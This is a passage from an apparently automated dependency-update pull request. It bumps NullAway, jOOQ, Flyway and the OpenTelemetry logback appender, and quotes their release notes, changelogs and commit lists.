view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `com.uber.nullaway:nullaway` from 0.13.3 to 0.13.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber/NullAway/releases\"\u003ecom.uber.nullaway:nullaway's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eNullAway 0.13.4\u003c/h2\u003e\n\u003cp\u003eFixes a couple of crashes when running NullAway on JDK 27 ea builds.  Also modularizes the annotations jar.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eModularize the annotations JAR by \u003ca href=\"https://github.com/anthonyvdotbe\"\u003e\u003ccode\u003e@​anthonyvdotbe\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTest on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMaintenance\n\u003cul\u003e\n\u003cli\u003eRun regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor ThriftTests and Java8Tests to use addSourceLines instead of deprecated addSourceFile by \u003ca href=\"https://github.com/nanookclaw\"\u003e\u003ccode\u003e@​nanookclaw\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1517\"\u003e#1517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/uber/NullAway/blob/master/CHANGELOG.md\"\u003ecom.uber.nullaway:nullaway's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 0.13.4\u003c/h2\u003e\n\u003cp\u003eFixes a couple of crashes when running NullAway on JDK 27 ea builds.  Also modularizes the annotations jar.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eModularize the annotations JAR by \u003ca href=\"https://github.com/anthonyvdotbe\"\u003e\u003ccode\u003e@​anthonyvdotbe\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eTest on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMaintenance\n\u003cul\u003e\n\u003cli\u003eRun regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRefactor ThriftTests and Java8Tests to use addSourceLines instead of deprecated addSourceFile by \u003ca href=\"https://github.com/nanookclaw\"\u003e\u003ccode\u003e@​nanookclaw\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1517\"\u003e#1517\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/1048411efaf6530216e90ffb863f0649a770b36e\"\u003e\u003ccode\u003e1048411\u003c/code\u003e\u003c/a\u003e Prepare for release 0.13.4.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/744100f8cc3768912d21632f5aebb11b0e19e47a\"\u003e\u003ccode\u003e744100f\u003c/code\u003e\u003c/a\u003e Changelog for release 0.13.4 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1542\"\u003e#1542\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/c0a70387d7630f258c6cfdc66ccc508a629ef28d\"\u003e\u003ccode\u003ec0a7038\u003c/code\u003e\u003c/a\u003e Fix crash on JDK 27 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1541\"\u003e#1541\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/e3e78aa1fe08870f16252a3e8f168699f77829b5\"\u003e\u003ccode\u003ee3e78aa\u003c/code\u003e\u003c/a\u003e Test on JDK 27 EA (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1540\"\u003e#1540\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/15a35d1eb1590bb35c8f7771aa758bfcbf302fdc\"\u003e\u003ccode\u003e15a35d1\u003c/code\u003e\u003c/a\u003e Update to WALA 1.7.1 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1539\"\u003e#1539\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/331a920041df98756c60994a2b67f27053e74e0a\"\u003e\u003ccode\u003e331a920\u003c/code\u003e\u003c/a\u003e Refactor ThriftTests and Java8Tests to use addSourceLines instead of deprecat...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/480c8d3f67607d3aa1d5326948d3ef0219ac7f76\"\u003e\u003ccode\u003e480c8d3\u003c/code\u003e\u003c/a\u003e Modularize the annotations JAR (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1537\"\u003e#1537\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/26a23ce5786da76eeaeb2c7d4bd3c45ff20a728c\"\u003e\u003ccode\u003e26a23ce\u003c/code\u003e\u003c/a\u003e Run regression tests on JDK 26 (\u003ca href=\"https://redirect.github.com/uber/NullAway/issues/1526\"\u003e#1526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/uber/NullAway/commit/334016d2bab88b25f6c7e51163d4ac510a5f877a\"\u003e\u003ccode\u003e334016d\u003c/code\u003e\u003c/a\u003e Prepare next development version.\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/uber/NullAway/compare/v0.13.3...v0.13.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jooq:jooq` from 3.19.31 to 3.19.34\n\nUpdates `org.jooq:jooq-codegen` from 3.19.31 to 3.19.34\n\nUpdates `org.jooq.jooq-codegen-gradle` from 3.19.31 to 3.19.34\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/jOOQ/jOOQ/releases\"\u003eorg.jooq.jooq-codegen-gradle's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.19.34\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.34 - May 12, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19946\"\u003e#19946\u003c/a\u003e - KotlinGenerator produces var instead of val when generating \u0026lt;immutablePojos/\u0026gt; for embeddables\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19951\"\u003e#19951\u003c/a\u003e - Column mismatch between MERGE .. WHEN NOT MATCHED THEN INSERT and VALUES clauses when there are stored client side computed columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19957\"\u003e#19957\u003c/a\u003e - Upgrade pgjdbc to 42.7.11 to mitigate CVE-2026-42198\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19960\"\u003e#19960\u003c/a\u003e - Client side stored computed column expressions are ignored in MERGE .. WHEN MATCHED THEN UPDATE clause\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19965\"\u003e#19965\u003c/a\u003e - Missing parentheses around RATIO_TO_REPORT window function emulation\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19969\"\u003e#19969\u003c/a\u003e - Missing parentheses around some interval arithmetic expressions in Exasol, Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19977\"\u003e#19977\u003c/a\u003e - ClassCastException when using EmbeddableRecords in Field.eq(any(array))\u003c/p\u003e\n\u003ch2\u003e3.19.33\u003c/h2\u003e\n\u003ch1\u003eVersion 3.19.33 - May 5, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.19 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003cp\u003e\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19874\"\u003e#19874\u003c/a\u003e - Render MATERIALIZED keyword for YugabyteDB when using asMaterialized()\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19878\"\u003e#19878\u003c/a\u003e - Regression when using Loader batch insertion with StatementType.STATIC_STATEMENT\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19882\"\u003e#19882\u003c/a\u003e - Statements executed from ExecuteContext::connection will eagerly release the connection to the ConnectionProvider\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19888\"\u003e#19888\u003c/a\u003e - DataAccessException::sqlStateClass returns OTHER instead of C22_DATA_EXCEPTION for Oracle data problems related to CHAR vs BYTE string columns\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19893\"\u003e#19893\u003c/a\u003e - NullPointerException in XMLDatabase when routine has no parameters\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19903\"\u003e#19903\u003c/a\u003e - Missing support for parsing BigQuery BIGNUMERIC and BIGDECIMAL data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19907\"\u003e#19907\u003c/a\u003e - MetaSQL tries to load check constraints, but check constraints were not yet introduced to MySQL 5.7\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19912\"\u003e#19912\u003c/a\u003e - No Teradata support for ALTER TABLE .. ADD IF NOT EXISTS and similar statements\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19916\"\u003e#19916\u003c/a\u003e - Cannot CAST from numeric to CLOB directly, in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19920\"\u003e#19920\u003c/a\u003e - Bad data type rendered for SQLDataType.LONGVARBINARY in Teradata\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19924\"\u003e#19924\u003c/a\u003e - Work around Teradata JDBC driver issue where DatabaseMetaData::getColumns may produce a null type name\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19928\"\u003e#19928\u003c/a\u003e - Nested rows within MULTISET projections do not apply JSON or XML cast necessary for serialising certain data types\n\u003ca href=\"https://redirect.github.com/jOOQ/jOOQ/issues/19941\"\u003e#19941\u003c/a\u003e - DSL::isoDayOfWeek renders wrong SQL expression for MariaDB and MySQL when used in arithmetic operations\u003c/p\u003e\n\u003ch2\u003e3.19.32\u003c/h2\u003e\n\u003ch1\u003eVersion 3.20.13 - April 16, 2026\u003c/h1\u003e\n\u003cp\u003eThis is a 3.20 patch release with minor improvements and bug fixes\u003c/p\u003e\n\u003ch2\u003eBug Fixes\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/983be04bfe689e9ba00cbafac92f4a36c7e05e4d\"\u003e\u003ccode\u003e983be04\u003c/code\u003e\u003c/a\u003e Release 3.19.34\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/f874027834833354d35992196c9b2b0b7f2b6e9a\"\u003e\u003ccode\u003ef874027\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/09c7f2b7097c6a4aaefdebb14d25211d9d332e92\"\u003e\u003ccode\u003e09c7f2b\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19777\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/191ea40c2ab42ce46270de0ec85ecb063f738ad8\"\u003e\u003ccode\u003e191ea40\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19962\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/6fee84fa55356e38d4db2b647cbf72baa670c8de\"\u003e\u003ccode\u003e6fee84f\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/b602ce8131008aa6ddfb37339183837b3a8fdd27\"\u003e\u003ccode\u003eb602ce8\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19948\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/63ec81894526f62a7f4fb21b34211b4cd0579f3c\"\u003e\u003ccode\u003e63ec818\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/7da00449de35dc178eba36ee82e395a8ce96cf62\"\u003e\u003ccode\u003e7da0044\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19954\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/ab16ab1e4f6923c3f3fd21f2a40e549c7f307d86\"\u003e\u003ccode\u003eab16ab1\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19933\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/jOOQ/jOOQ/commit/15a37db53aaf526f5536e02f4d16f51b185b21be\"\u003e\u003ccode\u003e15a37db\u003c/code\u003e\u003c/a\u003e\u003ccode\u003ejOOQ/jOOQ#19943\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/jOOQ/jOOQ/compare/version-3.19.31...version-3.19.34\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.jooq:jooq-codegen` from 3.19.31 to 3.19.34\n\nUpdates `org.flywaydb:flyway-core` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb:flyway-database-postgresql` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb.flyway` from 12.4.0 to 12.6.2\n\nUpdates `org.flywaydb:flyway-database-postgresql` from 12.4.0 to 12.6.2\n\nUpdates `io.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0` from 2.21.0-alpha to 2.28.1-alpha\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/releases\"\u003eio.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 2.28.0\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version number, reflecting that they will continue to have breaking changes. Please see \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e for more details.\u003c/p\u003e\n\u003ch3\u003e⚠️ Breaking changes to non-stable APIs\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved the obsolete internal \u003ccode\u003eClassInjector\u003c/code\u003e/\u003ccode\u003eProxyInjectionBuilder\u003c/code\u003e API used by the old \u003ccode\u003eExperimentalInstrumentationModule.injectClasses(ClassInjector)\u003c/code\u003e path; use \u003ccode\u003eExperimentalInstrumentationModule.exposedClassNames()\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18112\"\u003e#18112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated non-stable API methods and the deprecated \u003ccode\u003eopentelemetry-runtime-telemetry-java8\u003c/code\u003e and \u003ccode\u003eopentelemetry-runtime-telemetry-java17\u003c/code\u003e library aliases. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18136\"\u003e#18136\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the previously deprecated \u003ccode\u003ecaptureEventName\u003c/code\u003e library builder setting from the logback-appender-1.0 and log4j-appender-2.17 \u003ccode\u003eOpenTelemetryAppender\u003c/code\u003e, and the corresponding \u003ccode\u003eotel.instrumentation.{logback-appender,log4j-appender,jboss-logmanager}.experimental.capture-event-name\u003c/code\u003e javaagent properties. Use the \u003ccode\u003eotel.event.name\u003c/code\u003e key in MDC / context data / key-value pairs / Logstash markers / structured arguments instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18223\"\u003e#18223\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved previously deprecated experimental config properties \u003ccode\u003eotel.instrumentation.http.client.experimental.redact-query-parameters\u003c/code\u003e and \u003ccode\u003eotel.instrumentation.common.experimental.db-sqlcommenter.enabled\u003c/code\u003e; use \u003ccode\u003eotel.instrumentation.sanitization.url.experimental.sensitive-query-parameters\u003c/code\u003e and \u003ccode\u003eotel.instrumentation.common.db.experimental.sqlcommenter.enabled\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18229\"\u003e#18229\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemoved the deprecated \u003ccode\u003eotel.instrumentation.servlet.experimental.add-trace-id-request-attribute\u003c/code\u003e property; use \u003ccode\u003eotel.instrumentation.servlet.experimental.trace-id-request-attribute.enabled\u003c/code\u003e instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18237\"\u003e#18237\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReshaped the ktor \u003ccode\u003eExperimental\u003c/code\u003e helper from a class with a \u003ccode\u003ecompanion object\u003c/code\u003e to a top-level \u003ccode\u003eobject\u003c/code\u003e. Kotlin source callers (\u003ccode\u003eExperimental.emitExperimentalTelemetry(...)\u003c/code\u003e) are unaffected, but pre-compiled consumers must be recompiled against the new artifact. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18343\"\u003e#18343\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🚫 Deprecations\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eDeprecate \u003ccode\u003eotel.instrumentation.jaxws-cxf-3.0.enabled\u003c/code\u003e in favor of \u003ccode\u003eotel.instrumentation.jaxws-2.0-cxf-3.0.enabled\u003c/code\u003e, and \u003ccode\u003eotel.instrumentation.jaxws-metro-2.2.enabled\u003c/code\u003e in favor of \u003ccode\u003eotel.instrumentation.jaxws-2.0-metro-2.2.enabled\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18184\"\u003e#18184\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🌟 New javaagent instrumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Apache Thrift 0.13 instrumentation for RPC client and server spans and metrics. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18405\"\u003e#18405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🌟 New library instrumentation\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd Apache Thrift 0.13 library instrumentation for RPC client and server spans and metrics. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18405\"\u003e#18405\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e📈 Enhancements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCouchbase 3.1 javaagent instrumentation now emits the more conventional instrumentation scope name \u003ccode\u003eio.opentelemetry.couchbase-3.1\u003c/code\u003e instead of \u003ccode\u003eio.opentelemetry.javaagent.couchbase-3.1\u003c/code\u003e when \u003ccode\u003eotel.instrumentation.common.v3-preview\u003c/code\u003e is enabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18426\"\u003e#18426\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eWicket resource requests now use the resource reference class name in the server span name when \u003ccode\u003eotel.instrumentation.common.v3-preview\u003c/code\u003e is enabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18312\"\u003e#18312\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18775\"\u003e#18775\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eDecide whether javaagent helper classes are injected into the application class loader or isolated based on the advice classes used by an instrumentation. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/17815\"\u003e#17815\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eImprove cgroup v2 container ID detection for Podman by supporting additional \u003ccode\u003emountinfo\u003c/code\u003e layouts and warning when multiple candidate IDs are found. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18272\"\u003e#18272\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🛠️ Bug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix Pekko HTTP and Tapir server route tracking so server span names and \u003ccode\u003ehttp.route\u003c/code\u003e preserve the most specific matched route across nested directives, exceptions, and timeouts; this may change span names and \u003ccode\u003ehttp.route\u003c/code\u003e values for affected routes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/16390\"\u003e#16390\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix context loss in Finagle HTTP instrumentation across Netty-to-Finagle request conversion and \u003ccode\u003etwitter-util\u003c/code\u003e Future/Promise asynchronous boundaries. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/17867\"\u003e#17867\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix virtual-thread pinning caused by weak-map stale-entry cleanup running on virtual threads; cleanup now runs from the background thread instead. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18113\"\u003e#18113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAvoid linking batch consumer spans to the ambient consumer span when records or messages have no propagation headers. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18154\"\u003e#18154\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eresetOnEachOperator()\u003c/code\u003e for Reactor 3.1 so it also removes the scheduler hook when instrumentation is disabled. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18258\"\u003e#18258\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eEnd spans when RxJava 1.0 subscriptions throw synchronously. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18265\"\u003e#18265\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Spring Boot service version auto-detection so \u003ccode\u003eMETA-INF/build-info.properties\u003c/code\u003e is read from the jar root instead of \u003ccode\u003eBOOT-INF/classes/\u003c/code\u003e. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18292\"\u003e#18292\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eClear the Netty \u003ccode\u003eVirtualField\u003c/code\u003e after finishing a response in the Netty 3.8 server instrumentation. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18358\"\u003e#18358\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix \u003ccode\u003eJarDetails\u003c/code\u003e to close \u003ccode\u003eJarFile\u003c/code\u003e handles while reading archives and embedded jars, preventing resource leaks during runtime telemetry collection. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18385\"\u003e#18385\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix a \u003ccode\u003eNullPointerException\u003c/code\u003e when converting an agent context without an associated application context to an application context. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18444\"\u003e#18444\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Ktor server instrumentation to prevent OpenTelemetry context leaks caused by incomplete coroutine context restoration. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18456\"\u003e#18456\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Vert.x sub-router \u003ccode\u003ehttp.route\u003c/code\u003e attributes by prepending the mount point to the relative route path; this may change server span names and \u003ccode\u003ehttp.route\u003c/code\u003e values for mounted sub-routes. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18462\"\u003e#18462\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix oshi metrics startup and RSS memory reporting with \u003ccode\u003eoshi\u003c/code\u003e 7.0.0. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18478\"\u003e#18478\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix Play MVC and Play WS instrumentation on Play 3.x applications. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18624\"\u003e#18624\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRecord an error receive span when a wrapped Kafka consumer \u003ccode\u003epoll()\u003c/code\u003e fails. (\u003ca href=\"https://redirect.github.com/open-telemetry/opentelemetry-java-instrumentation/pull/18625\"\u003e#18625\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/CHANGELOG.md\"\u003eio.opentelemetry.instrumentation:opentelemetry-logback-appender-1.0's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003eChangelog\u003c/h1\u003e\n\u003ch2\u003eUnreleased\u003c/h2\u003e\n\u003ch2\u003eVersion 2.28.1 (2026-05-20)\u003c/h2\u003e\n\u003cp\u003eThis release targets the OpenTelemetry SDK 1.62.0.\u003c/p\u003e\n\u003cp\u003eNote that many artifacts have the \u003ccode\u003e-alpha\u003c/code\u003e suffix attached to their version\nnumber, reflecting that they will continue to have breaking changes. Please see\n\u003ca href=\"https://github.com/open-telemetry/opentelemetry-java-instrumentation/blob/main/VERSIONING.md#opentelemetry-java-instrumentation-versioning\"\u003eVERSIONING.md\u003c/a\u003e\nfor more details.\u003c/p\u003e\n\u003ch3\u003e🛠️ Bug fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix javaagent startup failures when declarative configuration uses bundled contrib 